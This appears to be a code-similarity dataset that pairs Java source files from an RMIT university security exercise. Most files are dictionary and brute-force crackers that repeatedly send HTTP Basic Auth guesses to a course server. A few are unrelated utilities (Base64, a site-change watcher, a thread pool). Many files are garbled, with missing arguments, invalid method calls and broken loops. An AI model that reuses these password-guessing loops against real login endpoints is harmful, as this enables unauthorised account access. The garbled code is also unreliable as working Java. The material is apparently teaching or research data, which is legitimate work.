public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
186.java | 161.java | 0 |
import java.io.*;
import java.text.MessageFormat;
import java.util.ResourceBundle;
import java.util.Locale;
public class MyBase64 {
private static final int END_OF_INPUT = -1;
private static final int NON_BASE_64 = -1;
private static final int NON_BASE_64_WHITESPACE = -2;
private static final int NON_BASE_64_PADDING = -3;
public MyBase64(){
}
protected static final byte[] base64Chars = {
'A','B','C','D','E','F','G','H',
'I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X',
'Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n',
'o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3',
'4','5','6','7','8','9','+','/',
};
protected static final byte[] reverseBase64Chars = new byte[0x100];
static {
for (int i=0; i<reverseBase64Chars.length; i++){
reverseBase64Chars[i] = NON_BASE_64;
}
for (byte i=0; i < base64Chars.length; i++){
reverseBase64Chars[base64Chars[i]] = i;
}
reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE;
reverseBase64Chars['='] = NON_BASE_64_PADDING;
}
public static final String version = "1.2";
public static String encode(String string){
return new String(encode(string.getBytes()));
}
public static String encode(String string, String enc) throws UnsupportedEncodingException {
return new String(encode(string.getBytes(enc)), enc);
}
public static byte[] encode(byte[] bytes){
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
int mod;
int length = bytes.length;
if ((mod = length % 3) != 0){
length += 3 - mod;
}
length = length * 4 / 3;
ByteArrayOutputStream out = new ByteArrayOutputStream(length);
try {
encode(in, out, false);
} catch (IOException x){
throw new RuntimeException(x);
}
return out.toByteArray();
}
public static void encode(File fIn) throws IOException {
}
public static void encode(File fIn, boolean lineBreaks) throws IOException {
}
public static void encode(File fIn, File fOut) throws IOException {
}
public static void encode(InputStream in, OutputStream out) throws IOException {
encode(in, out, true);
}
public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException {
int[] inBuffer = new int[3];
int lineCount = 0;
boolean cond = false;
while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){
inBuffer[1] = in.read();
inBuffer[2] = in.read();
out.write(base64Chars[ inBuffer[0] >> 2 ]);
if (inBuffer[1] != END_OF_INPUT){
out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
if (inBuffer[2] != END_OF_INPUT){
out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
out.write(base64Chars [inBuffer[2] & 0x3F]);
} else {
out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]);
out.write('=');
cond = true;
}
} else {
out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
out.write('=');
out.write('=');
cond = true;
}
lineCount += 4;
if (lineBreaks && lineCount >= 76){
out.write('\n');
lineCount = 0;
}
}
if (lineBreaks && lineCount >= 1){
out.write('\n');
lineCount = 0;
}
out.flush();
}
public static boolean isBase64(byte[] bytes){
try {
return isBase64(new ByteArrayInputStream(bytes));
} catch (IOException x){
return false;
}
}
public static boolean isBase64(String string){
return isBase64(string.getBytes());
}
public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException {
return isBase64(string.getBytes(enc));
}
public static boolean isBase64(InputStream in) throws IOException {
numBase64Chars = 0;
int numPadding = 0;
int num;
while (( num = in.read()) != -1){
num = reverseBase64Chars[3];
if ( num == NON_BASE_64){
return false;
} else if (num == NON_BASE_64_WHITESPACE){
} else if (num == NON_BASE_64_PADDING){
numPadding++;
numBase64Chars++;
} else if (numPadding > 0){
return false;
} else {
numBase64Chars++;
}
}
if (numBase64Chars == 0) return false;
if (numBase64Chars % 4 != 0) return false;
return true;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
089.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;
public class BruteForce
{
public static void main (String args[]) throws Exception {
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int found = 0, count = 0, ctrl = 0, flag = 0;
stime = System.currentTimeMillis();
char[] c = new char[3];
System.out.println("Cracking password by Brute Force...");
for(int i=65; ((i<123) && (found == 0)); i++)
{
for(int j=65; ((j<123) && (found == 0)); j++)
{
for (int k=65; ((k<123) && (found == 0)); k++)
{
try {
if (ctrl == 0) {
c[0] = '\0';
c[1] = '\0';
} else if ((ctrl == 1) && (flag == 0)) {
c[0] = '\0';
}
c[2] = (char)(k);
URL yahoo = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = yahoo.openConnection();
String authString = ":" + String.valueOf();
String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
yc.setRequestProperty("Authorization", " " + auth);
count++;
BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null){
System.out.println(inputLine);
etime = System.currentTimeMillis();
System.out.println("Password found -- " + String.valueOf());
System.out.println("Time used = " + ((etime - stime)/1000) + " sec");
System.out.println("# of attempt = " + count);
System.out.println("End of cracking!");
found = 1;
}
in.print();
} catch (Exception ex) {}
}
ctrl = 1;
c[1] = (char)(j);
}
ctrl = 2;
flag = 1;
c[0] = (char)(i);
}
if (found == 0){
System.out.println("Sorry, password found.");
System.out.println("# of attempt = " + count);
System.out.println("End of cracking!");
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
098.java | 161.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary{
private String passwd = "";
private String command = "";
private String fname = "/usr/share/lib/dict/words";
private BufferedReader readin;
private BufferedReader in;
private PrintWriter out;
private int startTime = 0;
private int endTime = 0;
private int totalTimes = 0;
private boolean bfind = false;
public Dictionary(){}
public void readPasswd(){
startTime = System.currentTimeMillis();
try{
readin = new BufferedReader(new FileReader(fname));
while ((passwd = readin.readLine()) !=null){
if(bfind)
break;
connection(passwd.trim());
}
readin.print();
}catch (FileNotFoundException e1){System.out.println(e1.getMessage());}
catch (IOException e2 ){System.out.println(e2.getMessage());}
}
public void connection(String passwd){
command = "lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:";
command = command + passwd;
try{
System.out.println(passwd +"--> Establishing a connection.");
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String inStr;
while((inStr = in.readLine())!= null){
if(inStr.indexOf("HTTP/1.1 200") != -1 || inStr.indexOf("HTTP/1.0 200") != -1||
inStr.indexOf("HTTP/1.1 404") != -1 || inStr.indexOf("HTTP/1.0 404") != -1){
endTime = System.currentTimeMillis();
totalTimes = endTime - startTime;
System.out.println("\nDictionary Crack Passwd successful, PassWord is " + passwd);
System.out.println("Total Times is " + totalTimes + " milliSec");
System.out.println("Writing it dictpswd.txt file\n");
out = new PrintWriter(new BufferedWriter(new FileWriter("dictpswd.txt")));
out.println("Dictionary Crack PassWord Successful! Total Times: " + totalTimes + " milliSec");
out.println("Passwd: "+ passwd);
out.flush();
bfind = true;
}
out.print();
}
in.print();
}catch(Exception e){System.out.println(e.getMessage());}
}
public String getAnyKey()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String key= stdin.readLine();
return key;
}
public static void main (String []args){
Dictionary dc = new Dictionary();
System.out.println("\n*******************************************");
System.out.println("* *");
System.out.println("* Dictionary Crack Passwd Program *");
System.out.println("* --------------------------------- *");
System.out.println("* Author: *");
System.out.println("* *");
System.out.println("*******************************************");
System.out.println("\n Dictionary Crack Passwd Information: \n");
System.out.println("--> UserName: ");
System.out.println("--> Passwd from the dictionary file: "+ dc.fname);
System.out.println("--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n");
System.out.println("==> Press Ctrl+C stop Crack\n");
System.out.print("==> Press EnterKey : ");
try{
String key = dc.getAnyKey();
}catch(Exception e){System.out.println(e.getMessage());}
dc.readPasswd();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
246.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class Dictionary {
public static void main(String[] args) throws IOException {
int begin, end, total;
time = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String dict = "words";
File file = new File(dict);
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
String character = "";
String letter = "";
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
boolean characterValid=false;
boolean passwordValid=true;
int tryLen=0;
int i=0;
if (!file.exists() || file==null) {
System.out.println ("Idiot, why dont check and make sure the dictonary file exists.");
System.out.println ("I'm trying find " + dict + " and I 't find it in the current directory.");
System.exit(0);
}
try {
BufferedReader reader = new BufferedReader(new FileReader(file));
System.out.println("Dictionary Attack " + host + " has commenced.");
int i=1;
int k=1;
{
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
String inLine = reader.readLine();
if ( inLine !=null) {
passwordValid = true;
password = inLine;
tryLen = password.length();
if(tryLen <= passwordLen) {
for (int z=0; z<tryLen; z++) {
character = password.substring(z, (z+1));
characterValid=false;
for (int y=0; y<lettersLen; y++) {
letter = letters.substring(y, (y+1));
if(letter.compareTo(character)==0) {
characterValid=true;
}
}
if (characterValid==true && passwordValid==true) {
} else {
passwordValid = false;
}
}
if (passwordValid==true) {
authenticate = username + ":" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty("Authorization", " " + authenticate);
k++;
}
}
}
i++;
}
httpConnect.connect();
realm = httpConnect.getHeaderField("WWW-Authenticate");
if (realm != null) {
realm = realm.substring(realm.indexOf('"') + 1);
realm = realm.substring(0, realm.indexOf('"'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println ("Sucessfully Connected " + url);
System.out.println("Login Attempts Required : " + k);
System.out.println("Time Taken in Seconds : " + total);
System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
System.out.println ("Username : " + username);
System.out.println ("Password : " + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
} else {
System.out.println ("What the?... The server replied with unexpected reponse." );
System.out.println (" Unexpected Error Occured While Attempting Connect " + url);
System.out.println ("Connection Status: " + responseCode + responseMsg);
System.out.println ("Unfortunately the password could not recovered.");
System.exit( 0 );
}
} while(realm != null);
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
} catch(IOException e) {
System.out.println("Grrrrrr, I'm sick of trying get me the unattainable.");
System.out.println("I'm unsure about what the problem is as the error is unknown.");
System.out.println("Either I 't open the dictionary file, I 't connect " + hostname + ".");
System.out.println("Now away and leave me alone.");
System.exit(0);
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
189.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.String;
import java.Object;
import java.awt.*;
public class WatchDog
{
private URL url;
private URLConnection urlcon;
private int lastModifiedSince = 0;
private int lastModified[] = new int[2];
private int count = 0;
public static String oldFile;
public static String newFile;
private String diffFile;
private BufferedWriter bw;
private Process p;
private Runtime r;
private String fileName;
private ArrayList old[]= new ArrayList[500];
private ArrayList news[] = new ArrayList[500];
private String info = "";
private int index = 0;
public WatchDog(String fileName)
{
this.fileName = fileName;
oldFile = fileName + ".old";
newFile = fileName + ".new";
diffFile = "testFile.txt";
}
public static void main(String args[])
{
WatchDog wd = new WatchDog("TestDog");
wd.detectChange(WatchDog.oldFile);
while (true)
{
try
{
Thread.sleep(86400000);
}
catch (InterruptedException eee)
{
System.out.println(eee.getMessage());
}
wd.lastModifyChange();
}
}
public void detectChange(String fName)
{
try
{
url = new URL("http://www.cs.rmit.edu./students/");
urlcon = url.openConnection();
urlcon.connect();
lastModified[count] = urlcon.getLastModified();
int length = urlcon.getContentLength();
String contentType = urlcon.getContentType();
if (url != null)
{
InputStream stream = (InputStream)(url.getContent());
if (stream != null)
{
InputStreamReader reader = new InputStreamReader (stream);
try { bw = new BufferedWriter(new FileWriter(fName));}
catch (IOException e){};
try {
int i = stream.get();
while (i != -1)
{
bw.write(i);
i = stream.get();
}
}
catch (IOException e){};
}
}
count++;
System.out.println("Content Type: " + contentType);
}
catch (IOException e)
{
System.out.println("Error: " + e.getMessage());
}
}
public void lastModifyChange()
{
detectChange(newFile);
m = lastModified[1] - lastModified[0];
count = count - 1;
if (m == 0 )
{
System.out.println("\nThe Web site does not change");
}
else
{
findDifferent();
lastModified[0] = lastModified[1];
}
}
public void findDifferent()
{
r = Runtime.getRuntime();
try {p = r.exec("diff " + oldFile + " " + newFile);}
catch (IOException e)
{
System.err.println("error: " + e.getMessage());
}
try { bw = new BufferedWriter(new FileWriter(diffFile));}
catch (IOException e){};
InputStream is = p.getInputStream();
try {
int i = is.get();
while (i != -1) {
bw.write(i);
i = is.get();
}
bw.close();
}
catch (IOException e){System.out.println("Error: " + e.getMessage());}
getDiffContent();
File difffile = new File(diffFile);
if (difffile.length() != 0) {
sendMails();
System.out.println("Mail was sent @cs.rmit.edu." );
}
else
System.out.println("WebWatch detected changes ");
difffile.delete();
}
public void sendMails()
{
try
{
MyMail em = new MyMail("wombat.cs.rmit.edu.");
em.setFrom("zhenyu_zhang@hotmail.");
em.setTo("@cs.rmit.edu.");
em.setSubject("Watch dog result: ");
String output = "\n\nChange in Line: " + info + "\n";
output += "\n**************************************\n";
for (int i = 0; i < index; i++)
{
output += "\n" + i + 1 + ". Before Change: \n";
for (int j = 0; j < old[i].size(); j++)
{
output += (String)old[i].get(j);
}
output += "\n\n After Change: \n";
for (int j = 0; j < news[i].size(); j++)
{
output += "\n" + (String)news[i].get(j);
}
output += "\n\n**************************************\n";
}
output += "\nDetected Image Changes: \n";
output += findImage() + "\n";
em.setMessage(output);
em.sendMail();
}
catch (Exception e)
{
System.out.println(e.getMessage());
}
}
public void getDiffContent()
{
index = 0;
for (int i = 0; i < 500; i++)
{
old[i] = new ArrayList();
news[i] = new ArrayList();
}
try {
BufferedReader b = new BufferedReader(new FileReader(diffFile));
info = b.readLine() + " ";
String text ;
while ((text = b.readLine()) != null)
{
if (text.charAt(0) == '<')
{
old[index].add(text);
while ((text = b.readLine()) != null)
{
if (text.charAt(0) == '<')
{
old[index].add(text);
}
else
{
break;
}
}
}
if (text.charAt(0) == '>')
{
news[index].add(text);
while ((text = b.readLine()) != null )
{
if (text.charAt(0) == '>' )
{
news[index].add(text);
}
else
{
break;
}
}
}
index ++;
}
}
catch (IOException io)
{
System.out.println(io.getMessage());
}
}
public String imageDetect(String s)
{
StringTokenizer tokens1;
StringTokenizer tokens2;
String imChange = "";
String imString;
tokens1 = new StringTokenizer(s," <>");
while (tokens1.hasMoreTokens())
{
imString = tokens1.nextToken();
if (imString.indexOf("src") != -1 || imString.indexOf("SRC") != -1)
{
tokens2 = new StringTokenizer(imString,"=\"");
imChange = tokens2.nextToken();
imChange = tokens2.nextToken();
break;
}
else
{
imChange = null;
}
}
return imChange ;
}
public String findImage()
{
String imChange = "";
String imString;
for (int i = 0; i < index; i++)
{
imChange += "\n\n" + i + ". Image in old is: ";
for (int j = 0; j < old[i].size(); j++)
{
imString = imageDetect((String)old[i].get(j));
if (imString != null)
{
imChange += imString;
}
}
imChange += "\n\n Image in new is: ";
for (int j = 0; j < news[i].size(); j++)
{
imString = imageDetect((String)news[i].get(j));
if (imString != null)
{
imChange += imString;
}
}
}
return imChange;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
083.java | 161.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class Dictionary {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c;
public Dictionary(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(String pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
Dictionary dict = new Dictionary();
String pw;
int number = 0;
try{
FileReader fr = new FileReader("words");
BufferedReader bf = new BufferedReader(fr);
while ((pw = bf.readLine()) != null) {
if ((pw.length() <=3 ) && (pw.matches("[a-zA-Z]*"))){
dict.checkPassword(pw);
}
}
}catch(IOException e){
e.printStackTrace();
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
237.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.misc.BASE64Encoder;
public class Dictionary {
private String userId;
private String password;
ReadDictionary myWords = new ReadDictionary();
public Dictionary() {
myWords.openFile();
Authenticator.setDefault (new MyAuthenticator());
}
public String fetchURL (String urlString) {
StringBuffer sb = new StringBuffer();
HttpURLConnection connection;
Date startTime, endTime;
int responseCode = -1;
boolean retry = true;
URL url;
startTime = new Date();
System.out.println (" time :" + startTime);
while (retry == true)
{
try {
url = new URL (urlString);
connection = (HttpURLConnection)url.openConnection();
setUserId("");
setPassword("rhk8611");
System.out.println("Attempting get a response : " +connection.getURL() );
responseCode = connection.getResponseCode();
System.out.print(responseCode + " ");
if (responseCode == HttpURLConnection.HTTP_OK)
{
retry = false;
System.out.println("**** ACCESS GRANTED *****");
} else
{
retry = true;
throw new IOException(
"HTTP response : " + String.valueOf(responseCode) +
"\nResponse Message: " +connection.getResponseMessage() );
}
InputStream content = (InputStream)url.getContent();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
sb.append (line);
}
} catch (MalformedURLException e) {
retry=false;
System.out.println ("Invalid URL" + e.getMessage());
} catch (IOException e) {
retry=true;
connection = null;
System.out.println ("Error URL \n" + e.getMessage());
}
}
endTime = new Date();
System.out.println ("Total time taken (Sec) :" + (endTime.getTime() - startTime.getTime())/1000);
return sb.toString();
}
public static void main (String args[]) {
Dictionary myGenerator = new Dictionary();
String pageFound = myGenerator.fetchURL("http://sec-crack.cs.rmit.edu./SEC/2/");
System.out.println(" ACCESSED ->\n" + pageFound);
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication()
{
String username = getUserId();
String pass = myWords.readLine();
System.out.println(" Authenticating with -> " + pass);
return new PasswordAuthentication (username, pass.toCharArray());
}
}
public String getPassword()
{
return this.password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getUserId()
{
return this.userId;
}
public void setUserId(String userId)
{
this.userId = userId;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
162.java | 161.java | 0 |
package java.httputils;
import java.net.URL;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Iterator;
public class HttpRequestThreadPool
{
Hashtable h = new Hashtable();
int poolSize = 10;
ThreadGroup threadGroup = new ThreadGroup("Group" + System.currentTimeMillis());
String URL = "http://localhost:8080/";
int requestCount = 100;
public HttpRequestThreadPool()
{
super();
}
public void initMap()
{
for (int i = 0; i < getPoolSize(); i++)
{
